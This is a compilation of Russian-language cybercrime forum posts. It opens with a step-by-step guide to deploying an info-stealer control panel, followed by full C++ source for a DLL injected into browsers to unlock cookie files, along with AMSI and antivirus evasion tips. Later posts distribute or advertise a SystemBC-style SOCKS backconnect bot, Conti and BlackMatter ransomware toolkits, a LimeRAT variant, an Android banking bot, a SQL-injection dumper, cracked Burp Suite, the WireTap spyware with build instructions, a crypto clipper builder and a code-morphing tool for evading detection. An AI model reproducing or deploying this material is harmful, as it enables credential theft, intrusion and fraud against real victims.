Берем обычный Linux VPS, заливаем туда архив. Дальнейшая инструкция сделана для Debian 11, но в принципе поднять можно на любом линуксе. Только команды, разумеется, могут отличаться.
Начинаем с апгрейда и установки необходимых пакетов

Code:Copy to clipboard

apt-get update && apt-get upgrade -y
apt-get install libnss3-dev libnss3 python3 python3-pip unzip gnupg curl p7zip-full -y

Устанавливаем и настраиваем MongoDB (если у вас не дебиан 11, то репозитории могут отличаться. посмотрите актуальный на https://www.mongodb.com/)

Code:Copy to clipboard

curl -fsSL https://www.mongodb.org/static/pgp/server-7.0.asc | \
   gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg \
   --dearmor
echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg ] http://repo.mongodb.org/apt/debian bullseye/mongodb-org/7.0 main" | tee /etc/apt/sources.list.d/mongodb-org-7.0.list
apt-get update
apt-get install mongodb-org -y

systemctl enable mongod
systemctl start mongod

mkdir -p /data/db
chown -R mongodb:mongodb /data/db
chown -R mongodb:mongodb /var/lib/mongodb
chown mongodb:mongodb /tmp/mongodb-27017.sock

systemctl restart mongod

Смотрим, все ли ок, запуская команду

Code:Copy to clipboard

systemctl status mongod

Должен быть примерно такой вывод:

Порт монго по дефолту не торчит наружу, поэтому этот пункт не то чтобы обязательный, но если перфекционизм не дает покоя, то для большей безопасности можете запаролить БД.
Вот неплохой гайд на эту тему

Обеспечение безопасности MongoDB в Ubuntu 20.04 | DigitalOcean

Предыдущая версия данного руководства была написана Мелиссой Андерсон. MongoDB, или просто Mongo, — это документоориентированная база данных с открытым исход…

 www.digitalocean.com

Только имейте в виду, что в файлах run_debug и gunicorn.conf.py вам будет необходимо поменять env переменную FLASK_MONGO_URI, добавив туда данные авторизации.

Распаковываем архив с панелью

Code:Copy to clipboard

7z x panel.zip

Переходим в папку с сорцами

Code:Copy to clipboard

cd panel

Устанавливаем необходимые python библиотеки

Code:Copy to clipboard

pip3 install -r requirements.txt

Для запуска в продакшн моде в качестве WSGI сервера будем использовать gunicorn. Он уже был установлен нами с помощью pip'a.
Запускаем:

Code:Copy to clipboard

gunicorn --bind 0.0.0.0:5000 --workers=3 --timeout 240 wsgi:app

Открываем браузер, переходим по ссылке 1.1.1.1:5000/admin/ (заменяем ip адрес на ваш)
Тут нас встретит окно с созданием админского юзера. Создаем его.
Уже писал об этом, когда описывал панель, но повторюсь. Идем в settings и задаем ip адрес панели в соответствующей строке. Он будет вшит в ванлайнеры и стиллер, именно туда он и будет стучать.

Для тестов достаточно и этого, но для постоянной работы нужно сделать еще один момент. Мы запускали сервер командой из консоли, следовательно, если мы из консоли выйдем, то и сервер оффнется, нам это не нужно, поэтому на нашем впс нужно запускать панель как сервис, грубо говоря, как фоновый процесс с автозапуском после ребутов и тд.
Создаем файл**/etc/systemd/system/stealer.service**
В него пишем следущее:

Code:Copy to clipboard

[Unit]
Description=Gunicorn instance to serve stealer
After=network.target

[Service]
User=root
Group=www-data
WorkingDirectory=/root/panel
ExecStart=/usr/local/bin/gunicorn --workers 3 --timeout 240 --bind 0.0.0.0:5000 wsgi:app

[Install]
WantedBy=multi-user.target

В разделе Service меняем значение User на свое.
Также в WorkingDirectory указываем путь к папке с панелью.
В ExecStart меняем путь к gunicorn'y на свой (у меня это /usr/local/bin/gunicorn). Узнать его можно выполнив команду
which gunicorn
Сохраняем файл и выполняем команды:

Code:Copy to clipboard

systemctl start stealer
systemctl enable stealer

Убеждаемся, что сервис запустился

Code:Copy to clipboard

systemctl status stealer

Если видим следующий вывод, то все ок, сервис запущен.

Spoiler: Что дальше

Под каждого универсальную малварь не напишешь, поэтому в ходе эксплуатации вы можете столкнуться с рядом проблем, поэтому попробую изложить, что в идеале каждому придется сделать под себя. Пригодится очень базовое умение кодить, ну или желание это умение приобрести по ходу дела. Пройдемся по нюансам:
-Предоставленный обход AMSI и ванлайнеры рано или поздно удрочится. Так бы проработало месяцами, но учитывая, что софт выходит в паблик, то это вопрос пары дней, поэтому нужны будут свои правки. Вряд ли это будет сложно, но все же, надо знать, что и где подправлять. Общую информацию по AMSI я дал, каждый может взять сорцы и внести необходимые изменения, добавить свои техники морфинга строк, может быть их как то скомбинировать и тд. Чем уникальнее ваш способ будет, тем лучше. Но сорцы у вас есть, так что все в ваших руках)
-DLL, которые будем инжектить в браузеры для анлока куков задрочятся еще раньше, тк сразу после публикации некоторые побегут заливать их на VT, да и возможно какие-нибудь вайтхэты приложат к этому руку) Тут не спасет обход AMSI, тк он помогает от сигнатурных детектов, а если будете из под процесса powershell писать в память другого процесса грязь, то любой авер это спалит. Поэтому идеальным вариантом для каждого тут было бы поморфить или разбавить мусорным кодом их сорц и скомпилировать по новой. Такая уникальная DLL вам прослужит долго. Как вариант, можно криптануть их с уникальным стабом, но это дорого, и вопрос, так ли стаб будет уникален. Поэтому лучше ручками) На эти темы есть пара статей на форуме, да и в гугле инфы должно быть полно.

Но пока, на момент публикации, все работает из коробки, так что, велком)

И еще один важный момент:
Перед использованием в боевом режиме удалите или закоментируйте все строки с командой Write-Host в стиллере. Они сделаны для наглядности, для работы в проде они не нужны, более того, если скрипт будет запускаться исполняемым форматом, то в этих местах он может фейлиться, т.к. не будет иметь доступа к консоли.

Spoiler: Сорцы

Линк на скачивание панели:

http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/d/3bXFGVKPw86UxnxKC37gCO

Сорц DLL для анлока куки файла:

Spoiler

Code:Copy to clipboard

#include "pch.h"
#include <Windows.h>
#include <iostream>
#include <strsafe.h>
#include <psapi.h>
#include <tchar.h>
#include <process.h>
#include <winternl.h>

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

using fNtDuplicateObject = NTSTATUS(WINAPI*)(
    HANDLE SourceProcessHandle,
    HANDLE SourceHandle,
    HANDLE TargetProcessHandle,
    PHANDLE TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG Attributes,
    ULONG Options
    );

using fNtQueryObject = NTSTATUS(WINAPI*)(
    HANDLE ObjectHandle,
    ULONG ObjectInformationClass,
    PVOID ObjectInformation,
    ULONG ObjectInformationLength,
    PULONG ReturnLength
    );

typedef enum _POOL_TYPE
{
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT ProcessID;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


BOOL GetFileNameFromHandle(HANDLE hFile, WCHAR* fName)
{
    BOOL bSuccess = FALSE;
    TCHAR pszFilename[MAX_PATH + 1];
    HANDLE hFileMap;
    hFileMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

    if (hFileMap)
    {
        void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1);
        if (pMem)
        {
            if (GetMappedFileName(GetCurrentProcess(), pMem, pszFilename, MAX_PATH))
            {
                TCHAR szTemp[BUFSIZE];
                szTemp[0] = '\0';

                if (GetLogicalDriveStrings(BUFSIZE - 1, szTemp))
                {
                    TCHAR szName[MAX_PATH];
                    TCHAR szDrive[3] = TEXT(" :");
                    BOOL bFound = FALSE;
                    TCHAR* p = szTemp;

                    do
                    {
                        *szDrive = *p;
                        if (QueryDosDevice(szDrive, szName, MAX_PATH))
                        {
                            size_t uNameLen = _tcslen(szName);
                            if (uNameLen < MAX_PATH)
                            {
                                bFound = _tcsnicmp(pszFilename, szName, uNameLen) == 0
                                    && *(pszFilename + uNameLen) == _T('\\');

                                if (bFound)
                                {
                                    TCHAR szTempFile[MAX_PATH];
                                    StringCchPrintf(szTempFile, MAX_PATH, TEXT("%s%s"), szDrive, pszFilename + uNameLen);
                                    StringCchCopyN(pszFilename, MAX_PATH + 1, szTempFile, _tcslen(szTempFile));
                                }
                            }
                        }

                        while (*p++);
                    } while (!bFound && *p);
                }
            }

            bSuccess = TRUE;
            UnmapViewOfFile(pMem);
        }

        CloseHandle(hFileMap);
    }
    else {
        CloseHandle(hFileMap);
        return bSuccess;
    }

    wcscpy_s(fName, MAX_PATH, pszFilename);
    return bSuccess;
}


extern "C" __declspec(dllexport) int CloseHandles(WCHAR * fileName) {
    fNtDuplicateObject NtDuplicateObject = (fNtDuplicateObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDuplicateObject");
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    fNtQueryObject NtQueryObject = (fNtQueryObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject");

    ULONG returnLenght = 0;
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);

    int PID = _getpid();

    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];

        if (handleInfo.ProcessID == PID)
        {
            HANDLE processHandle = NULL;
            HANDLE dupHandle = NULL;

            if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessID))) {
                continue;
            }

            if (!NT_SUCCESS(NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_SAME_ACCESS))) {
                CloseHandle(processHandle);
                CloseHandle(dupHandle);
                continue;
            }

            POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(ObjectTypeInformationSize);

            if (!NT_SUCCESS(NtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, ObjectTypeInformationSize, NULL)))
            {
                free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
                continue;
            }

            if (wcscmp(objectTypeInfo->Name.Buffer, L"File"))
            {
                free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
                continue;
            }

            WCHAR* wHandleFileName = new WCHAR[MAX_PATH]();

            if (!GetFileNameFromHandle(dupHandle, wHandleFileName))
            {
                free(objectTypeInfo); free(wHandleFileName); CloseHandle(processHandle); CloseHandle(dupHandle);
                continue;
            }

            if (fileName == std::wstring(wHandleFileName)) {
                CloseHandle(dupHandle);
                dupHandle = NULL;

                NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_CLOSE_SOURCE);
                free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
                break;
            }

            free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
        }
    }
   
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

PS. Забрасывать проект после окончания конкурса не планирую, так что можете писать в эту тему, если возникнут какие-то вопросы или проблемы. В меру своих способностей постараюсь помочь) Благодарю за внимание.

Привет форум! Решил покапатся с дрейнерами, какие есть слитые проекты (cо сслыками) с приличным кодом , люблю вкатыватся в подобное с примерами. Поиск выдал Solana drainer (скачал) и SpaceX (умер линк).

Всем привет! Кто нибудь пробовал брутить vk или avito с помощи гидры

стандартные функции: перехват/отправка смс, переадресация звонков
отличительная функция: сбор цц+вбв+full info
способ работы: fake обновление от google.
Скриншот
в данном боте антиабуза стоит, будьте внимательны при установке.
в файле site_config.php - в первой строке нужно дописать php

Только в образовательных целях - скачать :fuck:

====================================================== RUSSIAN

! socks.exe стучит через 5 минут после запуска!

сервер имеет ограничение на число поддерживаемых socks5 соединений. не более 45151 соединений (порты 4000-49151)

1Gbit server / 1000 socks = 1 mbit per socks

windows:

запустить server.exe. ставитсЯ только на серверные ос (windows 2003 server, windows 2008 server etc...) в обычных сборках винды стоит лимит на количество открытых соединений

linux:

server.out добавить в исключения фаерволла. или выключить его
запускать так (рекомендуется из папки /root)
chmod 777 server.out
./server.out &

/www устанавливается в корневую директорию веб сервера. на windows рекомендуется ставить IIS + php
http://yourserver/systembc/password.php отображает текущие онлайн соксы (пароль adm443)

socks.exe - клиент (не скрываетсЯ в диспетчере)
socks.dll - клиент в виде dll (стартующаЯ функциЯ rundll)
socks2.dll - клиент в виде dll (если нет поддержки стартующей функции)

====================================================== ENGLISH

ATTENTION! socks.exe come online after 5 minutes from start!

server have limit supporting connections. no more 45151 (ports 4000-49151)

1Gbit server / 1000 socks = 1 mbit per socks

windows:

run server.exe. install only on server os (windows 2003 server, windows 2008 server etc...). not server os have limit connections

linux:

server.out need add to exception firewall or turn off it
run command (recomended from /root folder)

chmod 777 server.out
./server.out &

/www need install to root folder of web server. on windows recomended IIS + php
http://yourserver/systembc/password.php show online sockses (pass adm443)

socks.exe - client (not hiding from task manager)
socks.dll - dll client (start function rundll)
socks2.dll - dll client (without support start function)

Download: https://anonfiles.com/r6Wf3dudye/socks5_backconnect_zip

Малый вес высокая скорость , подежка bit domain name coin / требуеться крипт / подойдет для личного пользования быстро разворачивать соксы.

Приветствую всех читателей этого мини-мануала (кроме самих тсов говно-софтов, по типу papitos )
Сегодня я вам расскажу о такой замечательной утилите, как TotalCommander (дальше мы будем ее называть TM
В ТМ есть все основные функции, для чека логов.
Расскажу о главном из них. Это быстрый чекер запросов по архивам.
Сейчас приведу пример.

Здесь у меня сумарно 4-5к логов, за 2018 год. Давайте представим, что из всей этой массы нам нужны логи с запросом paypal.
Жмём на бинокль и далее выставляем следующие настройки

Нажимаем "начать поиск" И утилита начинает перебор всех архивов, папок в указанном месте.

По окончанию у меня вышел такой результат. Чекалось это все меньше минуты (секунд 15-20)
Так можно найти абсолютно все, что вам нужно в логе. От простого запроса в пароле, до сложных связок. Все можно детально настроить под себя и как нужно ВАМ.
А платить таким школьникам, как papitos и отдавать 70 бачей за воздух, ну такое..)

Toolkit Conti & BlackMatter Ransomware.

Mega:

You must have at least 150 reaction(s) to view the content.

Представляю вам новый RAT 2021!!!

В основе лежит база всем известного LimeRat.
?Но в этой версии исправлены ошибки, добавлены новые модули и изменены(Удалены) старые/(Подробнее смотри ниже).
Также хочу сказать что версия не окончательна и будут добавляться новые возможности.
RAT полностью бесплатный.
Без склеек и прочего shits.
Но при установке на машину жертвы клиент может установить партнерскую ссылку( а может и не установить).
На данный момент у стаба 7 детектов ,нужно криптовать.
У модулей2~3 детекта.
Для анализа детектов разрешены только Dyncheck, avcheck, avbox, antiscan, run4me, scan4me!
Запрещено сливать файлы и модули без крипта на VT и прочие сливающие сканеры

?Base Features?

Connection️
Using pastebin.com and other site witch format "RAW" as ip:port , and Also using multi-ports?
The communication between server & client is encrypted with AES?
Spreading?
Infecting all files and folders on USB drivers?
Anti Virtual Machines?
Uninstall itself if the machine is virtual to avoid scanning or analyzing ?
XMR Miner️
High performance Monero CPU miner with user idle\active optimizations
DDoS️
Creating a powerful DDOS attack to make an online service unavailable?
Crypto Stealer?
Stealing Cryptocurrency sensitive data?
Screen-Locker?
Prevents user from accessing their Windows GUI ?
And more...?
Force enable Windows RDP?
Persistence?
File manager?
Passwords stealer?
Remote desktop?
Bitcoin grabber?
Downloader?
Keylogger REALTIME?

?+ Features?

Hide+ (protection is installed on the installation folder and the file)?
Wallet Clipper(17 unit)
Decred,LiteCoin,BitCoin,ZCash,Etherium,DogeCoin,Monero,
BitcoinCash,Komodo,Peercoin,BitCoinGold,Bytecoin,
DashCoin,CreditCard,QIWIRU,QIWIUA,Yandex Money)?
BlockAVR(block antivirus site and more....)?
Downloader+(Hide)?
"Black Hole"(vbs module for installation)?
Keylogger NET(all Email)?
Bypass Country?
Bypass Language?
Bypass UserName and PCname?
Antiprocess module?
CheckNET(Сheck for internet before installing)?
Safe Mode + Recovery point Delete(Run as administrator!!)?
Grabber file desktop?
(jpeg, jpg, doc, docx, txt, sql, dat, ini, pdf, rdp, xml, json, doc, docx, xls, xlsx, zip, rar)
limit 500mb
Disable:Update + Windows Defender + SmartScreen (Run as administrator!!)?
Debug protection and attempts to check the file with antivirus?
Stealer browser(chromium based and gecko based browser(passwords,
credit cards,history,cookies,bookmarks,autofill.)?
XMRRIG Updated to version 6.3.30 (https://xmrig.com/docs/algorithms)?
DDOS Module Updated (new attack methods)?
VM+( Sandboxie + Vmware + Virtualbox and more...)️
Ransomware deleted️️

Spoiler: AHTUNG!!!

We do not make any warranty, terms, conditions, or representations
any kind, any express or implied, authorized or other regarding the software
including without limitations of any implied warranties or terms of goods,
satisfactory quality, fitness for special purposes, not violation or occurrence
from the direction, use or trade course.
Some states / jurisdictions do not allow an exception implied warranties,
so the above exclusion may not apply to you and you may have other legal rights different from the state to the state or jurisdictions.
without restriction to this, we warrant that the software will visit you
requirements or what the software works for free or error
uninterrupted or that defects in the software will be corrected.

Click to expand...

По русски: Все ответственность за использование лежит только на вас.
Я не призываю вас использовать данное ПО в незаконных целях!

**YouTube **Telegram

Spoiler: Скриншоты

Spoiler: Check detect

Spoiler: Download

ClearNET
DarkNET

Описание:
Инструмент для сканирования и поиска уязвимых веб-сайтов.

Особенности:
- Поддержка Мульти. Поисковая система в интернете (для поиска объектов trajects);
- Автоматическое использование и анализ из списка URL-адресов;
- Автоматический поиск данных в массовом списке URL-адресов;
-- Автоматический анализатор точек инъекций с использованием URL, POST, Cookies, логина пользователя или пароля пользователя;
- Dumper поддерживает сброс данных с многопоточностью (базы данных / таблицы / столбцы / выборка данных);
- Эксплоитер поддерживает до 100x потоков;
-Анализатор и Дампер поддерживает до 50 потоков;
- Усовершенствованные методы обхода WAF;
- Расширенный пользовательский запрос;
-- Dumper может сбрасывать большие объемы данных, с большим контролем задержки каждого запроса (многопоточность);
- Простота переключения уязвимостей на уязвимости;
-Поддержка списка прокси ;
- База данных GeoIP;
-Внутренняя база данных;
- Мусорная Система;
-Для входа в админ-искатель;
- Хэш онлайн крекер;
- Обратный IP;
-Автономный .exe (без установки).

Description:
A tool to scan and find vulnerable websites.

Features:
-Supports Multi. Online search engine (to find the trajects);
-Automated exploiting and analyzing from a URL list;
-Automated search for data in a bulk URL list;
-Automated analyzer for injections points using URL, POST, Cookies, UserLogin or UserPassword;
-Dumper supports dumping data with multi-threading (databases/tables/columns/fetching data);
-Exploiter supports up to 100x threads;
-Analyzer and Dumper supports up to 50x threads;
-Advanced WAF bypass methods;
-Advanced custom query box;
-Dumper can dump large amounts of data, with greats control of delay each request (multi-threading);
-Easy switch vulnerabilities to vulnerabilities;
-Supports proxies list;
-GeoIP database;
-Internal database;
-Trash System;
-Admin login finder;
-Hash online cracker;
-Reverse IP;
-Standalone .exe (no install).

https://dropmefiles.com/441JR
pass : exploit.in

pass : exploit.in

В общем то исправлено всего два файла. Поправил несправедливость в виде строчки EICAR (подробнее https://xss.is/threads/51076/#post-328951). Так же убрал ненужные апдейт ридми и пр. Пожалуйста =)

Минимум 3 человека сдают его в аренду тут на форуме

мануалов по установке море

You must have at least 50 message(s) to view the content.

Правленая версия, все работает как часики

Работает на Андройд 10
Работает на прошивках Samsung one ui
Работает на прошивка Xiaomi miui 10-11
Работает на прошивках Oppo ColorOS
Стабильно работают 5-9 версии без 0 секунд и т.д.
Отключение Протекта работает на всех версиях!

Использовать только на виртуалке и в медицинской маске. Как обращаться с крякнутыми версиями думаю все и так знают. За клей не отвечаю.
Полная инструкция по кряку тут https://www.cnblogs.com/ssooking/p/12535998.html
Файлы тут. https://pan.baidu.com/s/1Ah-H0Eelvm8PmVZ0_Jvz6w (нужно импортировать куки залогиненного юзера baidu.com со свежего лога что бы скачать). Чуть позже залью на мегу эти файлы.

Как и обещал ранее, сливаю под хайд билд под Анубиса одного пид..а, который любитель по ру работать и продавать этот говнобот.
Там и во всех предыдущих версиях мода нужно внести изменения в a8.php ну и странно...этот билд еще команду на a22.php отправляет. Нам пока некогда да и лень с этим говноботом разбираться. В архиве два билда, один с "супер" криптом от этого горе продавца, второй уже чистый, где все видно и можно менять под свои панели.

You must have at least 100 reaction(s) to view the content.

Рассказывать много не надо. burp suite pro крякнутый

https://yadi.sk/d/p75P9PgbZrGpMA
Пароль от архива местный.

Запуск:
java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite_pro_v2.0.11beta.jar

Далее из burp-loader-keygen.jar генерируем лицензию, и активируем burp (только manual activation)

Привет, решил написать простенькую спайварь.

Spoiler: Version 1.0

малварщики, не бейте за питон
На данный момент отправка в телеграм, планирую делать панель и переносить большую часть логики туда.

Функции:

• Стиллер (Chrome, Edge, Firefox, Waterfox, Thunderbird, данные из Windows Credman)
• Запись и распознавание речи (начинаеться когда вы говорите)
• Геолокация (Триангуляция на основе точек доступа WIFI; Используеться незадокументированый апи Apple)
• Граббер.
• Скриншот рабочего стола.
• Базовая системная информация.

Spoiler: Скриншоты

Spoiler: Настройки граббера по умолчанию

Guarda
Coinomi
Bitcoin
Electrum
Electrum-LTC
Zcash
Exodus
Jaxx
Monero
Binance
WalletWasabi
Atomic
Ledger live
Pidgin
snowflake-ssh
FileZilla
OBS-studio
WinAuth
Authy Desktop
MobaXterm
OpenVPN
Telegram Desktop

Можно добавить больше путей для поиска в файле wiretap\stealer\grabber.py

Так-же можете добавить больше браузеров в этих файлах:
wiretap\stealer\chromium\init.py
wiretap\stealer\gecko\init.py

Установка:

1. Установите последний питонhttp://python.org
2. Откройте cmd в папке проекта и установите зависимости:pip install -r requirements.txt
3. Создайте телеграм бота тут:https://t.me/BotFather
4. Чат айди можно получить тут:https://t.me/GetMyChatID_Bot
5. Пропишите боту /start
6. В файле wiretap.py укажите свой телеграм токен и чат айди.
7. Скомпилируйте:pyinstaller wiretap.py

Вы так-же можете уменьшить вес выходного файла удалив pip uninstall SpeechRecognition
но в таком случае распознавание речи не будет работать.

Spoiler: Version 2.0

Короче питон говно, было решено переписать билд на шарп. И сделать панельку.

Функции:

• Запись с микрофона (включаем в панели, начинаеться когда вы говорите)
• Геолокация (Триангуляция на основе точек доступа WIFI; Используеться незадокументированый апи Apple)
• Скриншоты веб-камеры.
• Скриншот рабочего стола.
• Базовая системная информация.
• Удаленная командная строка.
• Кейлоггер (в след. обновах)
• Автозагрузка.
• АнтиВМ, Анти дебаг.

Spoiler: Установка

Внизу есть ссылки на стаб и панель.

1. Ставим python отсюда python.org (не забываем нажать галочку Add python to path)
2. Командной строкой заходим в папку панели.
3. Ставим зависимости pip install -r requirements.txt
4. Генерируем аккаунт python core\auth.py (Выдаст логин и пароль для входа)
5. Запускаем панель python server.py или открыть файл start.cmd если вы на винде.
6. Заходим по адресу http://ip:8080/login и вводим данные которые получили в 4 шаге.
7. Качаем Visual Studio отсюда: https://visualstudio.microsoft.com/vs/community
8. В установщике тыкаем галочку на "Разработка приложений .NET Framework"
9. Открываем файлик WireTap-Stub.sln
10. Загрузиться студия, ищите справа файлик Settings.cs (смотрите скриншот ниже)
11. Ставим айпи и порт к панели и другие настройки по желанию (не забудтье проверить открыт ли порт на сервере)
12. Убедитесь что сверху выбрано Release и тыкаем Ctrl+B
13. Если все хорошо то в папке проекта появиться ваш билд bin\Release\build.exe

Spoiler: Скриншоты

Download: https://mega.nz/file/pAABQKQK#gZbt4smueD8CU1pnX_GXCTvt90jKRhY2V7ibe-aZd64
Pass: xss.is

Если нужна помощь, пишите в пм.

Изначально софт писался как билдер клиппера для продажи которые не задались, https://xss.is/threads/52411/ по моей просьбе тему закрыли.
Решил выложить в паблик, но раз паблик почему бы не потренится мне в этом и дополнить функционалом, да где то пабликом где то своим.
Получился не хилый комбайн для создания малвари.
Написан на C# .Net 4.0

Click to expand...

Если кратко то на борту билдера:

• Склейщик (Joiner) - Можно приклеить любые файлы до 1-3мб веса.
• Гибкий Клиппер который подменивает криптовалютные кошельки из списка на похожие + различные кошельки и ссылки.
• Граббер (Stealer) - Информация на скринах.
• 2 Обфускатора + ренеймер которые умеют работать в связке друг с другом, что надеюсь даст долгий боле-менее чистый скантайм детект.
• Полноценная поддержка AsyncRAT https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp

В процессе личного использования некоторые билды уже отлетали на ВТ, но при правильной настройке:

Остальной функционал смотрите на скринах:

Скачать Builder:

You must have at least 50 reaction(s) to view the content.

**Исходные коды всего проекта продам за - 50$

О багах, предложениях просьба отписываться в данной теме.
По мере возможности буду дополнять/исправлять/обновлять софт.**

Знаете, в современном жестоком мире, наши с вами редтимерские тулзы без обфускации и/или морфинга не живут долго. Морфить код можно по-разному, у каждого подхода есть свои преимущества и недостатки. Но наиболее простым, при этом практически всегда достаточным, на мой взгляд, является трансформация исходного кода. Не говоря уже о том, что для скриптовых языков этот способ — по сути единственный. Проблема в том, как разпарсить исходный код таким образом, чтобы он был понятен морферу?

Для каждого языка программирования скорее всего найдется одна лидирующая в парсинге этого языка библиотека. Для С/С++ — это очевидно будет libclang, для C# — это будет Roslyn, для JavaScript — это будет Esprima, ну и так далее. Но все эти библиотеки очень сильно отличаются друг от друга, как по API, так и по представлению абстрактного синтаксического дерева (AST). Более того, каждую из таких библиотек скорее всего придется использовать из своего языка, что сводит к минимуму возможность переиспользования кода морфера для разных языков, а переключать контекст своего мышления между ними накладно для уже стареющего мозга). Но у меня есть решение… наверное.

Когда динозавры были большими, еще существовал такой редактор кода, аля VSCode, который назывался Atom. Разрабатывали его в основном челики из GitHub, но когда мелкомягкие выкупили GitHub, стало понятно, что господин Atom уже не жилец, ибо нехер ВсКоду конкурентов иметь. Сейчас зомби редактор на базе Atom все еще существует, его разрабатывает комьюнити, но он уже давно не торт. Так вот, одной из интересных разработок команды редактора Atom была библиотека «Дерева сидетель» (она же tree-sitter). Смысл был в том, что подсветка синтаксиса классическими регулярочками была уж очень тупой, а запуск полноценного LSP для языка — уж очень накладным. Поэтому они решили запилить библиотеку, которая бы понимала все языки лучше, чем это делают регулярочки, но не слишком хорошо, чтобы оставаться быстрой. Эта библиотека основывалась на грамматиках, и могла отличить, условно, класс от функции. Понимаете, к чему я клоню?

Я тут попробовал поиспользовать tree-sitter для задач обфускации и морфинга моих редтимерских тулзов и мне в принципе понравилось. В процессе я написал маленькую библиотечку для модного молодежного Петона, которой, собственно, и спешу с вами поделиться. Назвал я ее «дерева переписыватель» в честь ее основы — «дерева сидельщика». Поскольку я использовал ее только на своих кодовых базах, в ней могут быть баги, но кто из нас не без греха?

Ну давайте начнем. Чтобы вы понимали, библиотека tree-sitter написана на чистом православном Цэ, поэтому в принципе ее можно использовать из любого языка при условии наличия нормальных байндингов. Я выбрал Петон потому, что не люблю страдать, элитные цэшные и плюсовые господа, можете портировать функционал библиотеки в свою уютные языки, я не против, только за.

